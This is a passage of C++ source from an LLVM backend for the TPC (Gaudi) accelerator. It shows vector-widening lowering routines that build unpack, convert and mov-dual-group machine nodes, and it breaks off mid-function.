Source.\n Ops11[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v3 = v_i32_mov_dual_group_all_v(t0, 0xFFFFFFFF, y.v3, 2, 3, 0, 1, 0b11,\n // 0b11, 0b00, 0b00);\n Ops11[2] = DAG.getTargetConstant(\n (((2 << TPCII::SW_SDG0_SHIFT) | (3 << TPCII::SW_SDG1_SHIFT) |\n (0 << TPCII::SW_SDG2_SHIFT) | (1 << TPCII::SW_SDG3_SHIFT)) |\n (3 << TPCII::SW_WEG0_SHIFT) | (3 << TPCII::SW_WEG1_SHIFT) |\n (0 << TPCII::SW_WEG2_SHIFT) | (0 << TPCII::SW_WEG3_SHIFT) |\n (TPCII::SW_MDG_TYPE_ALL)),\n DL, MVT::i32); // Switch.\n Ops11[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops11[4] = mdg3; // Income.\n Ops11[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops11[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node11 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, ResultVT, Ops11);\n SDValue mdg7 = SDValue(Node11, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops12(7);\n Ops12[0] = Temp1; // Source.\n Ops12[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v4 = v_i32_mov_dual_group_all_v(t1, 0xFFFFFFFF, y.v4, 2, 3, 0, 1, 0b11,\n // 0b11, 0b00, 0b00);\n Ops12[2] = DAG.getTargetConstant(\n (((2 << TPCII::SW_SDG0_SHIFT) | (3 << TPCII::SW_SDG1_SHIFT) |\n (0 << TPCII::SW_SDG2_SHIFT) | (1 << TPCII::SW_SDG3_SHIFT)) |\n (3 << TPCII::SW_WEG0_SHIFT) | (3 << TPCII::SW_WEG1_SHIFT) |\n (0 << TPCII::SW_WEG2_SHIFT) | (0 << TPCII::SW_WEG3_SHIFT) |\n (TPCII::SW_MDG_TYPE_ALL)),\n DL, MVT::i32); // Switch.\n Ops12[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops12[4] = mdg4; // Income.\n Ops12[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops12[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node12 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, ResultVT, Ops12);\n SDValue mdg8 = SDValue(Node12, 0);\n ExtArg.push_back(mdg5);\n ExtArg.push_back(mdg6);\n ExtArg.push_back(mdg7);\n ExtArg.push_back(mdg8);\n } else {\n // unpack-1\n SmallVector<SDValue, 8> Ops1(6);\n Ops1[0] = Src; // Source.\n Ops1[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v1 = (int64)v_i8_unpack_v(x, 0/*x00*/, e_group_0,\n // e_every_forth_element, e_lower_half_group);\n Ops1[2] =\n DAG.getTargetConstant(TPCII::SW_STRIDE_4, DL, MVT::i32); // Switch.\n Ops1[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops1[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops1[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node1 = DAG.getMachineNode(TPC::UNPACKp, DL, ResultVT, Ops1);\n SDValue unpack1 = SDValue(Node1, 0);\n\n // unpack-2\n SmallVector<SDValue, 8> Ops2(6);\n Ops2[0] = Src; // Source.\n Ops2[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // t1 = (int64)v_i8_unpack_v(x, 0/*x01*/, e_group_0, e_every_forth_element,\n // e_higher_half_group);\n Ops2[2] = DAG.getTargetConstant((TPCII::SW_STRIDE_4 | // Switch\n TPCII::SW_GROUP_HALF_1),\n DL, MVT::i32);\n Ops2[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops2[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops2[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node2 = DAG.getMachineNode(TPC::UNPACKp, DL, ResultVT, Ops2);\n SDValue unpack2 = SDValue(Node2, 0);\n\n // unpack-3\n SmallVector<SDValue, 8> Ops3(6);\n Ops3[0] = Src; // Source.\n Ops3[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // t2 = (int64)v_i8_unpack_v(x, 0/*x02*/, e_group_1, e_every_forth_element,\n // e_lower_half_group);\n Ops3[2] = DAG.getTargetConstant((TPCII::SW_GROUP_1 | // Switch\n TPCII::SW_STRIDE_4),\n DL, MVT::i32);\n Ops3[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops3[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops3[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node3 = DAG.getMachineNode(TPC::UNPACKp, DL, ResultVT, Ops3);\n SDValue unpack3 = SDValue(Node3, 0);\n\n // unpack-4\n SmallVector<SDValue, 8> Ops4(6);\n Ops4[0] = Src; // Source.\n Ops4[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v4 = (int64)v_i8_unpack_v(x, 0/*x03*/, e_group_1,\n // e_every_forth_element, e_higher_half_group);\n Ops4[2] =\n DAG.getTargetConstant((TPCII::SW_GROUP_1 | // Switch\n TPCII::SW_STRIDE_4 | TPCII::SW_GROUP_HALF_1),\n DL, MVT::i32);\n Ops4[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops4[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops4[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node4 = DAG.getMachineNode(TPC::UNPACKp, DL, ResultVT, Ops4);\n SDValue unpack4 = SDValue(Node4, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops5(6);\n Ops5[0] = unpack2; // Source.\n Ops5[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v1 = v_i32_mov_dual_group_v(t1, 0xFFFFFFFF, y.v1, 0, 1, 1, 1);\n Ops5[2] = DAG.getTargetConstant((0 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops5[3] = unpack1; // Income.\n Ops5[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops5[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node5 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops5);\n SDValue mdg1 = SDValue(Node5, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops6(6);\n Ops6[0] = unpack3; // Source.\n Ops6[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v1 = v_i32_mov_dual_group_v(t2, 0xFFFFFFFF, y.v1, 0, 2, 1, 1);\n Ops6[2] = DAG.getTargetConstant((0 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops6[3] = mdg1; // Income.\n Ops6[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops6[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node6 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops6);\n SDValue mdg2 = SDValue(Node6, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops7(6);\n Ops7[0] = unpack4; // Source.\n Ops7[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v1 = v_i32_mov_dual_group_v(y.v4, 0xFFFFFFFF, y.v1, 0, 3, 1, 1);\n Ops7[2] = DAG.getTargetConstant((0 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 3 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops7[3] = mdg2; // Income.\n Ops7[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops7[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node7 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops7);\n SDValue mdg3 = SDValue(Node7, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops8(6);\n Ops8[0] = unpack1; // Source.\n Ops8[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v2 = v_i32_mov_dual_group_v(t0, 0xFFFFFFFF, y.v2, 1, 0, 1, 1);\n Ops8[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 0 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops8[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops8[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops8[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node8 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops8);\n SDValue mdg4 = SDValue(Node8, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops9(6);\n Ops9[0] = unpack2; // Source.\n Ops9[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v2 = v_i32_mov_dual_group_v(t1, 0xFFFFFFFF, y.v2, 1, 1, 1, 1);\n Ops9[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops9[3] = mdg4; // Income.\n Ops9[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops9[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node9 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops9);\n SDValue mdg5 = SDValue(Node9, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops10(6);\n Ops10[0] = unpack3; // Source.\n Ops10[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v2 = v_i32_mov_dual_group_v(t2, 0xFFFFFFFF, y.v2, 1, 2, 1, 1);\n Ops10[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops10[3] = mdg5; // Income.\n Ops10[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops10[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node10 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops10);\n SDValue mdg6 = SDValue(Node10, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops11(6);\n Ops11[0] = unpack4; // Source.\n Ops11[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v2 = v_i32_mov_dual_group_v(y.v4, 0xFFFFFFFF, y.v2, 1, 3, 1, 1);\n Ops11[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 3 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops11[3] = mdg6; // Income.\n Ops11[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops11[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node11 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops11);\n SDValue mdg7 = SDValue(Node11, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops12(6);\n Ops12[0] = unpack1; // Source.\n Ops12[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v3 = v_i32_mov_dual_group_v(t0, 0xFFFFFFFF, y.v3, 2, 0, 1, 1);\n Ops12[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 0 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops12[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops12[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops12[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node12 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops12);\n SDValue mdg8 = SDValue(Node12, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops13(6);\n Ops13[0] = unpack2; // Source.\n Ops13[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v3 = v_i32_mov_dual_group_v(t1, 0xFFFFFFFF, y.v3, 2, 1, 1, 1);\n Ops13[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops13[3] = mdg8; // Income.\n Ops13[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops13[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node13 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops13);\n SDValue mdg9 = SDValue(Node13, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops14(6);\n Ops14[0] = unpack3; // Source.\n Ops14[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v3 = v_i32_mov_dual_group_v(t2, 0xFFFFFFFF, y.v3, 2, 2, 1, 1);\n Ops14[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops14[3] = mdg9; // Income.\n Ops14[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops14[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node14 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops14);\n SDValue mdg10 = SDValue(Node14, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops15(6);\n Ops15[0] = unpack4; // Source.\n Ops15[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v3 = v_i32_mov_dual_group_v(y.v4, 0xFFFFFFFF, y.v3, 2, 3, 1, 1);\n Ops15[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 3 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops15[3] = mdg10; // Income.\n Ops15[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops15[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node15 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops15);\n SDValue mdg11 = SDValue(Node15, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops16(6);\n Ops16[0] = unpack1; // Source.\n Ops16[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v4 = v_i32_mov_dual_group_v(t0, 0xFFFFFFFF, y.v4, 3, 0, 1, 1);\n Ops16[2] = DAG.getTargetConstant((3 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 0 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops16[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops16[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops16[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node16 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops16);\n SDValue mdg12 = SDValue(Node16, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops17(6);\n Ops17[0] = unpack2; // Source.\n Ops17[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v4 = v_i32_mov_dual_group_v(t1, 0xFFFFFFFF, y.v4, 3, 1, 1, 1);\n Ops17[2] = DAG.getTargetConstant((3 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops17[3] = mdg12; // Income.\n Ops17[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops17[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node17 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops17);\n SDValue mdg13 = SDValue(Node17, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops18(6);\n Ops18[0] = unpack3; // Source.\n Ops18[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // y.v4 = v_i32_mov_dual_group_v(t2, 0xFFFFFFFF, y.v4, 3, 2, 1, 1);\n Ops18[2] = DAG.getTargetConstant((3 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops18[3] = mdg13; // Income.\n Ops18[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops18[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node18 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops18);\n SDValue mdg14 = SDValue(Node18, 0);\n\n ExtArg.push_back(mdg3);\n ExtArg.push_back(mdg7);\n ExtArg.push_back(mdg11);\n ExtArg.push_back(mdg14);\n }\n\n return ExtArg;\n}\n\nSmallVector<SDValue, 2>\nTPCTargetLowering::extend_8_to_16(SDValue Op, SelectionDAG &DAG,\n const SDLoc &DL, uint64_t DataType,\n unsigned DstDataType) const {\n const SDValue &Src = Op.getOperand(0);\n EVT SrcVT = Src->getValueType(0);\n EVT ResultVT(MVT::v128i16);\n SmallVector<SDValue, 2> ExtArg;\n\n // unpack-1\n SmallVector<SDValue, 8> Ops1(6);\n Ops1[0] = Src; // Source.\n Ops1[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // group0 = v_i8_unpack_v(x, 0, e_group_0, e_every_second_element,\n // e_lower_half_group);\n Ops1[2] = DAG.getTargetConstant(TPCII::SW_GROUP_0 | TPCII::SW_STRIDE_2 |\n TPCII::SW_GROUP_HALF_0,\n DL, MVT::i32); // Switch.\n Ops1[3] = DAG.getUNDEF(SrcVT); // Income.\n Ops1[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops1[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node1 = DAG.getMachineNode(TPC::UNPACKp, DL, SrcVT, Ops1);\n SDValue unpack1 = SDValue(Node1, 0);\n\n // unpack-2\n SmallVector<SDValue, 8> Ops2(6);\n Ops2[0] = Src; // Source.\n Ops2[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n // group1 = v_i8_unpack_v(x, 0, e_group_1, e_every_second_element,\n // e_lower_half_group);\n Ops2[2] = DAG.getTargetConstant(\n (TPCII::SW_GROUP_1 | TPCII::SW_STRIDE_2 | TPCII::SW_GROUP_HALF_0), DL,\n MVT::i32); // Switch\n Ops2[3] = DAG.getUNDEF(SrcVT); // Income.\n Ops2[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops2[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node2 = DAG.getMachineNode(TPC::UNPACKp, DL, SrcVT, Ops2);\n SDValue unpack2 = SDValue(Node2, 0);\n\n // convert-1\n // y.v1 = v_convert_i8_to_i16_v(group0);\n SmallVector<SDValue, 8> Ops3(6);\n Ops3[0] = unpack1; // Source.\n Ops3[1] = DAG.getTargetConstant(DataType, DL, MVT::i8); // DataType.\n Ops3[2] = DAG.getTargetConstant(TPCII::SW_CSR | DstDataType, DL,\n MVT::i32); // Switch.\n Ops3[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops3[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops3[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node3 =\n DAG.getMachineNode(TPC::CONVERTvvp, DL, ResultVT, Ops3);\n SDValue convert1 = SDValue(Node3, 0);\n\n // convert-2\n // y.v2 = v_convert_i8_to_i16_v(group1);\n SmallVector<SDValue, 8> Ops4(6);\n Ops4[0] = unpack2; // Source.\n Ops4[1] = DAG.getTargetConstant(DataType, DL, MVT::i8); // DataType.\n Ops4[2] = DAG.getTargetConstant(DstDataType, DL,\n MVT::i32); // Switch.\n Ops4[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops4[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops4[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node4 =\n DAG.getMachineNode(TPC::CONVERTvvp, DL, ResultVT, Ops4);\n SDValue convert2 = SDValue(Node4, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops5(6);\n Ops5[0] = convert2; // Source.\n Ops5[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v1 = v_i16_mov_dual_group_v(y.v2, 0xFFFFFFFF, y.v1, 0, 1, 1, 1);\n Ops5[2] = DAG.getTargetConstant((0 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops5[3] = convert1; // Income.\n Ops5[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops5[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node5 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops5);\n SDValue mdg1 = SDValue(Node5, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops6(6);\n Ops6[0] = convert1; // Source.\n Ops6[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v1 = v_i16_mov_dual_group_v(vec0, 0xFFFFFFFF, y.v1, 1, 2, 1, 1);\n Ops6[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops6[3] = mdg1; // Income.\n Ops6[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops6[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node6 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops6);\n SDValue mdg2 = SDValue(Node6, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops7(6);\n Ops7[0] = convert2; // Source.\n Ops7[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v1 = v_i16_mov_dual_group_v(y.v2, 0xFFFFFFFF, y.v1, 1, 3, 1, 1);\n Ops7[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 3 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops7[3] = mdg2; // Income.\n Ops7[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops7[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node7 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops7);\n SDValue mdg3 = SDValue(Node7, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops8(6);\n Ops8[0] = convert1; // Source.\n Ops8[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v2 = v_i16_mov_dual_group_v(vec0, 0xFFFFFFFF, y.v2, 2, 0, 1, 1);\n Ops8[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 0 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops8[3] = convert2; // Income.\n Ops8[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops8[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node8 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops8);\n SDValue mdg4 = SDValue(Node8, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops9(6);\n Ops9[0] = mdg4; // Source.\n Ops9[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v2 = v_i16_mov_dual_group_v(y.v2, 0xFFFFFFFF, y.v2, 2, 1, 1, 1);\n Ops9[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops9[3] = mdg4; // Income.\n Ops9[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops9[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node9 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops9);\n SDValue mdg5 = SDValue(Node9, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops10(6);\n Ops10[0] = convert1; // Source.\n Ops10[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n // y.v2 = v_i16_mov_dual_group_v(vec0, 0xFFFFFFFF, y.v2, 3, 2, 1, 1);\n Ops10[2] = DAG.getTargetConstant((3 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops10[3] = mdg5; // Income.\n Ops10[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops10[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node10 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops10);\n SDValue mdg6 = SDValue(Node10, 0);\n\n ExtArg.push_back(mdg3);\n ExtArg.push_back(mdg6);\n\n return ExtArg;\n}\n\nSmallVector<SDValue, 2>\nTPCTargetLowering::extend_16_to_32(SDValue Op, SelectionDAG &DAG,\n const SDLoc &DL, uint64_t DataType) const {\n EVT ResultVT = Op->getValueType(0);\n auto IsIntrinsicNode = Op.getOpcode() == ISD::INTRINSIC_WO_CHAIN;\n const SDValue &Src = IsIntrinsicNode ? Op.getOperand(1) : Op.getOperand(0);\n auto SrcType = Src.getValueType();\n SmallVector<SDValue, 2> ExtArg;\n SDValue Temp = Src;\n if (SrcType == MVT::v128bf16) {\n Temp = DAG.getNode(ISD::BITCAST, DL, MVT::v128i16, Src);\n } else if (SrcType == MVT::v128f16) {\n llvm_unreachable(\"Unsupported source type\");\n }\n if (Subtarget->hasGaudiISA()) {\n // mov-group\n SmallVector<SDValue, 8> 